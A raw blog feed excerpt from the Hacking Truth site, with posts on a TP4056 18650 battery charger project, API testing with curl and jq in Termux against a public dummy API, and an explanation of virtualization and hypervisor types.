&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-layout-key=&quot;-ef+6k-30-ac+ty&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;1797135423&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🔹 Cost &amp;amp; Selling Price&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Component cost: ₹300–450 (depending on source)&lt;/p&gt;
&lt;p&gt;You can sell a ready-made project for ₹800–1000&lt;/p&gt;
&lt;p&gt;Great project idea for school/college students&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🔹 Advantages of This Project&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;✅ Simple and low-cost design&lt;/p&gt;
&lt;p&gt;✅ Uses easily available components&lt;/p&gt;
&lt;p&gt;✅ Real-time battery monitoring&lt;/p&gt;
&lt;p&gt;✅ Safe charging with protection circuit&lt;/p&gt;
&lt;p&gt;✅ Can be extended for DIY power banks&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🔹 Conclusion&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  This TP4056 battery charger project with 18650 battery and level indicator is
  a beginner-friendly DIY electronics project. It not only helps you learn about
  Li-ion battery charging circuits but also provides a practical solution for
  powering small devices. With just a few components, you can create your own
  battery charging and monitoring system at home.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;&lt;i
      &gt;TP4056 battery charger project, 18650 Li-ion battery charging circuit,
      DIY battery level indicator, TP4056 with protection, Li-ion battery
      monitor project&lt;/i
    &gt;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/666962377575138292/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2025/09/diy-tp4056-battery-charger-with-18650.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/666962377575138292'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/666962377575138292'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2025/09/diy-tp4056-battery-charger-with-18650.html' title='DIY TP4056 Battery Charger with 18650 Battery Level Indicator'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCdHa4Y0msEqJnBqgOSu4t_L1G_I59dcFU-2ypLC3yRNXO0R199XyKjIEEmPv2bgJ6k_q-thKwYdifZbhr0wieamtkqoiVXX0o2j-wUTjSe4adNWf0gxuOy1flk3GEcG7_6kuiaeju4Un2GwxUX1fG3u_Z8pY8NqfmsZGytli4GPUz7r8bgVPObs9AH3PJ/s72-w554-h640-c/IMG_20250901_185614982.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-3366519240984670340</id><published>2025-08-26T05:13:00.000-07:00</published><updated>2025-08-26T05:13:27.312-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="curl"/><category scheme="http://www.blogger.com/atom/ns#" term="Cyber Security"/><category scheme="http://www.blogger.com/atom/ns#" term="sql"/><category scheme="http://www.blogger.com/atom/ns#" term="Termux Tutorial"/><title type='text'>API Testing with curl and jq in Termux</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQIqQ9CtfZp0GfQEAjepGL_7didyrT-bXsvudIXRC9udW0zMSDkWOv3UzmBNnx3f_sBoW4-rz7VTe80SxY9q8rTDG3fMbc2Jj-4goI6CHIuPJWwsdDEQtr18PIaCOybj3YA42fXYu16M5_9JDU3S4e3_b6st8yXdeo9NROehoEI7lS_pFXeLIEgo0AgGSs/s2240/Solar%20Energy%20Blog%20Banner%20in%20Blue%20and%20Yellow%20Simple%20Style.png&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      border=&quot;0&quot;
      data-original-height=&quot;1260&quot;
      data-original-width=&quot;2240&quot;
      height=&quot;360&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQIqQ9CtfZp0GfQEAjepGL_7didyrT-bXsvudIXRC9udW0zMSDkWOv3UzmBNnx3f_sBoW4-rz7VTe80SxY9q8rTDG3fMbc2Jj-4goI6CHIuPJWwsdDEQtr18PIaCOybj3YA42fXYu16M5_9JDU3S4e3_b6st8yXdeo9NROehoEI7lS_pFXeLIEgo0AgGSs/w640-h360/Solar%20Energy%20Blog%20Banner%20in%20Blue%20and%20Yellow%20Simple%20Style.png&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🚀 API Testing with curl and jq in Termux&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;i&gt;APIs &lt;/i&gt;&lt;/b&gt;(&lt;b&gt;&lt;i&gt;Application Programming Interfaces&lt;/i&gt;&lt;/b
  &gt;) are the backbone of modern applications. Whether you are a developer,
  tester, or cybersecurity enthusiast, testing APIs quickly from the terminal
  can save a lot of time. In this article, we’ll explore how to use curl and jq
  in &lt;b&gt;&lt;i&gt;Termux &lt;/i&gt;&lt;/b&gt;to test &lt;b&gt;&lt;i&gt;APIs &lt;/i&gt;&lt;/b&gt;with the example of the
  free&lt;b style=&quot;font-style: italic;&quot;&gt; dummy.restapiexample.com API&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🔧 What You Need&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;i&gt;Termux &lt;/i&gt;&lt;/b&gt;installed on your Android device.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;i&gt;curl &lt;/i&gt;&lt;/b&gt;(for making API requests).
&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- sep  2024 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;2642069341&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;
  &lt;b&gt;&lt;i&gt;jq &lt;/i&gt;&lt;/b&gt;(for parsing and formatting JSON).
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;👉 Install jq in Termux:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;pkg install jq&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;🌐 Step 1: Making a Simple GET Request&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;To fetch employee data from the dummy API:&lt;/p&gt;
&lt;p&gt;&lt;b&gt;curl -X GET https://dummy.restapiexample.com/api/v1/employees&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;This returns raw JSON with employee details.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;🎨 Step 2: Pretty Print JSON with jq&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  Raw &lt;b&gt;&lt;i&gt;JSON &lt;/i&gt;&lt;/b&gt;is often messy. Use jq to format it:
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;curl -s https://dummy.restapiexample.com/api/v1/employees | jq&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Here,&lt;/p&gt;
&lt;p&gt;&lt;b&gt;-s suppresses extra output.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;jq beautifies the JSON response.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🎯 Step 3: Extract Specific Data&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Want just the employee names?&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;curl -s https://dummy.restapiexample.com/api/v1/employees | jq
    &#39;.data[].employee_name&#39;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Want only salaries?&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;curl -s https://dummy.restapiexample.com/api/v1/employees | jq
    &#39;.data[].employee_salary&#39;&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🔍 Step 4: Fetch a Single Employee&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;To get details of employee with ID 1:&lt;/p&gt;
&lt;p&gt;&lt;b&gt;curl -s https://dummy.restapiexample.com/api/v1/employee/1 | jq&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🛠 Pro Tip: Add Headers if Blocked&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Sometimes APIs block requests without a User-Agent header. In that case:&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;curl -s -H &quot;User-Agent: Mozilla/5.0&quot;
    https://dummy.restapiexample.com/api/v1/employees | jq&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhML3fOFU9GUQtNbGr_D0vtEzBACnDdr1mmCLxlGznt9Zn6JSTpT2_H99X-9TIxTTGRXr9-kmIt_ipeFxvrEUkZvyk4iNbWgMcstvK2VUWq7r25IfcqgWXGJiBuKRN8Q6-saoPrpeb2WKvfeEi3A6PRkjLxLLMmj58PfYel35BDEK2zFEABni-RCsAYOkMc/s2460/Screenshot_20250826-164411.png&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      border=&quot;0&quot;
      data-original-height=&quot;2460&quot;
      data-original-width=&quot;1080&quot;
      height=&quot;640&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhML3fOFU9GUQtNbGr_D0vtEzBACnDdr1mmCLxlGznt9Zn6JSTpT2_H99X-9TIxTTGRXr9-kmIt_ipeFxvrEUkZvyk4iNbWgMcstvK2VUWq7r25IfcqgWXGJiBuKRN8Q6-saoPrpeb2WKvfeEi3A6PRkjLxLLMmj58PfYel35BDEK2zFEABni-RCsAYOkMc/w280-h640/Screenshot_20250826-164411.png&quot;
      width=&quot;280&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;1273147351&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;📌 Why Use curl + jq in Termux?&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;✅ Lightweight, runs directly on Android.&lt;/p&gt;
&lt;p&gt;✅ No need for heavy apps like Postman.&lt;/p&gt;
&lt;p&gt;✅ Great for quick debugging and testing.&lt;/p&gt;
&lt;p&gt;✅ Works offline with saved API responses.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🏁 Conclusion&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  With just curl and jq in Termux, you can test, debug, and filter API responses
  right from your phone. Whether you’re learning APIs, doing quick tests, or
  working on DevOps tasks, this combo is a powerful and minimalist toolkit.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/3366519240984670340/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2025/08/api-testing-with-curl-and-jq-in-termux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/3366519240984670340'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/3366519240984670340'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2025/08/api-testing-with-curl-and-jq-in-termux.html' title='API Testing with curl and jq in Termux'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQIqQ9CtfZp0GfQEAjepGL_7didyrT-bXsvudIXRC9udW0zMSDkWOv3UzmBNnx3f_sBoW4-rz7VTe80SxY9q8rTDG3fMbc2Jj-4goI6CHIuPJWwsdDEQtr18PIaCOybj3YA42fXYu16M5_9JDU3S4e3_b6st8yXdeo9NROehoEI7lS_pFXeLIEgo0AgGSs/s72-w640-h360-c/Solar%20Energy%20Blog%20Banner%20in%20Blue%20and%20Yellow%20Simple%20Style.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-1246157368980741270</id><published>2025-06-30T00:37:00.000-07:00</published><updated>2025-06-30T00:37:43.909-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="kali linux"/><category scheme="http://www.blogger.com/atom/ns#" term="virtualization"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>working process of virtualization technology</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.html&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;working process of virtualization technology&quot; border=&quot;0&quot; data-original-height=&quot;1260&quot; data-original-width=&quot;2240&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgebxivLAUOOzIhOy9rjJzm9wqKMtkmyaSHT3r9oo7aPtgvJT9QOsNkZyWuOiDH64pI3s5i3px2bNf5qAMgqgIcCKLMNzg8GP9UcCiCazPTKfmRV9D-_Phs4R4ErwHh-1c_9a03Qf854moglRyARM1JHhCx16nKr77uMr7H1eWDxgLpkCyPYJBJ-r1LEyZ5/w640-h360/virtualization.png&quot; title=&quot;working process of virtualization technology&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;What is virtualization?&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Virtualization is the process of creating virtual versions of computer
  resoureces such as hardware platforms, operating systems, storage devices, or
  network resources. It allows multiple virtual instances of run concurrently on
  a single physical machine. Key components include virtual machines (VMs), a
  hypervisor for management, and host and guest machines. Virtualization types
  include full, para-virtualization and hardware-assisted virtualization.
  Benefits include resouces optimization improved hardware utilization,
  scalability and easier disaster recovery.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.html&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;working process of virtualization technology&quot; border=&quot;0&quot; data-original-height=&quot;538&quot; data-original-width=&quot;974&quot; height=&quot;354&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLzCONJCTEnyGvv-u8hTOtDpSR5y9PomTQYsSy9h_MTY_LdkcQuuO711D_qCokFPBdo9bFub09t4skHu1h0hbrw7iWgjMfZNSyw6GeFOBzfa1TWztoAZ8GcebcyUzTRm0oXyzgCF5cTGXLYiKOHDL5LROx2TuXpaUo9m3uAM9toHL8shy4S3MiAWnx4d-Z/w640-h354/virtualization-hypervisor.png&quot; title=&quot;working process of virtualization technology&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;What is Hypervisor?&lt;/h4&gt;
&lt;p&gt;
  A hypervisor is a software layer that enables the multiple virtual machines
  (VMs) to run on a single physical machine.
&lt;/p&gt;
&lt;p&gt;
  There are many types of &lt;b&gt;&lt;i&gt;Hypervisor &lt;/i&gt;&lt;/b&gt;-&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;1273147351&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;b&gt;1) Type-1 Hypervisor&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;2) Type-2 Hypervisor&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;a href=&quot;https://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.html&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;working process of virtualization technology&quot; border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsyp8iif3KygjcR9eH8Lv6OtbkNeSqRy9GEHE48-VMTG6UysLO3Tr22C5ab3_ZcIqFDQMjo1S2TVYtTkPrmGj9ce2mhRDctOQHwKmweYfhUr939iFOie2GxaK2JItXZ4_n-brc5qH34BbFmxuCyqCUV_Tm6Cxm9OMET2cdsAIM7ybscKHACc5-gmoM-c1X/w640-h426/hypervisor-hackingtruth.in.png&quot; title=&quot;working process of virtualization technology&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Type-1 Hypervisor (Bare Metal Hypervisor)&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# &lt;/b&gt;This type of hypervisor runs directly on the physical hardware of the
  host machine, without the need for an underlying operating system. It provides
  direct access to the physical hardware resources and typically offers better
  performance and scalability compared to Type 2 hypervisors.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Examples of Type 1 hypervisors&lt;/b&gt; include Microsoft Hyper-V (when used in
  standalone mode), KVM (&lt;b&gt;&lt;i&gt;Kernel-based Virtual Machine&lt;/i&gt;&lt;/b&gt;).
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.html&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;working process of virtualization technology&quot; border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1024&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuqAHRVArxhIYXJpMe5-NH_CKc1spA0aQrsjTmP5LqbRb38s_FcDKjJFAGs68TX_rSyfTLUkGR43bU0GMcUdEyKBkIeGTJOO_5WtMPYl3Xyg_gDkYKI90iB91t__oRCcIPeJvEJg1LLz5GFw8gSWPaocJDDELlTFddyVocyqVl1wfscPEJDPSDCdUo5pAR/w640-h640/hypervisor-part-1.png&quot; title=&quot;working process of virtualization technology&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;1273147351&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Type 2 Hypervisor (Hosted Hypervisor):&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# &lt;/b&gt;This type of hypervisor runs on top of a conventional operating
  system, such as Windows, Linux, or macOS.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;#&lt;/b&gt; It relies on the host operating system for managing hardware
  resources and provides virtualization services to guest operating systems.
  Type 2 hypervisors are typically used for development, testing, and desktop
  virtualization scenarios.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Examples of Type 2 hypervisors&lt;/b&gt; include &lt;i&gt;&lt;b&gt;VMware &lt;/b&gt;&lt;/i&gt;&lt;b&gt;&lt;i&gt;Workstation&lt;/i&gt;&lt;/b&gt;, &lt;b&gt;&lt;i&gt;Oracle&lt;/i&gt;&lt;/b&gt;, &lt;b&gt;&lt;i&gt;VirtualBox&lt;/i&gt;&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://bloghttps://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.htmlger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOK7ykuHtEbPBuFAxyiqLaDFvxdVHVzDtYq8gANVszvV8UL0Uq-0x-5ZTK4VVCVO9nxCLzA8i3Q_6QtH4CnTWdySziOaSmt6RKfAJ3UW62m3vi7lR41zzUJnNBzhp-P5lMESeeEkmAk3v_93v0tD0ooLg-vAecujy2Q16wKzVxhpTyY-wmG_vxmGA088H1/s1024/hypervisor-2.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;working process of virtualization technology&quot; border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1024&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOK7ykuHtEbPBuFAxyiqLaDFvxdVHVzDtYq8gANVszvV8UL0Uq-0x-5ZTK4VVCVO9nxCLzA8i3Q_6QtH4CnTWdySziOaSmt6RKfAJ3UW62m3vi7lR41zzUJnNBzhp-P5lMESeeEkmAk3v_93v0tD0ooLg-vAecujy2Q16wKzVxhpTyY-wmG_vxmGA088H1/w640-h640/hypervisor-2.png&quot; title=&quot;working process of virtualization technology&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Device Requirement&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;# RAM-8GB (Mandatory)&lt;/p&gt;
&lt;p&gt;# ROM/HDD/SSD-128gb/512gb/1tb&lt;/p&gt;
&lt;p&gt;# Operating system windows 10/11&lt;/p&gt;
&lt;p&gt;# Processor - Intel/AMD(Dual Core)&lt;/p&gt;
&lt;p&gt;# Must enable the Device &quot;Virtualization&lt;/p&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4&gt;Disclaimer&lt;/h4&gt;
&lt;p&gt;
  All tutorials are for informational and educational purposes only and have
  been made using our own routers, servers, websites and other vulnerable free
  resources. we do not contain any illegal activity. We believe that ethical
  hacking, information security and cyber security should be familiar subjects
  to anyone using digital information and computers. Hacking Truth is against
  misuse of the information and we strongly suggest against it. Please regard
  the word hacking as ethical hacking or penetration testing every time this
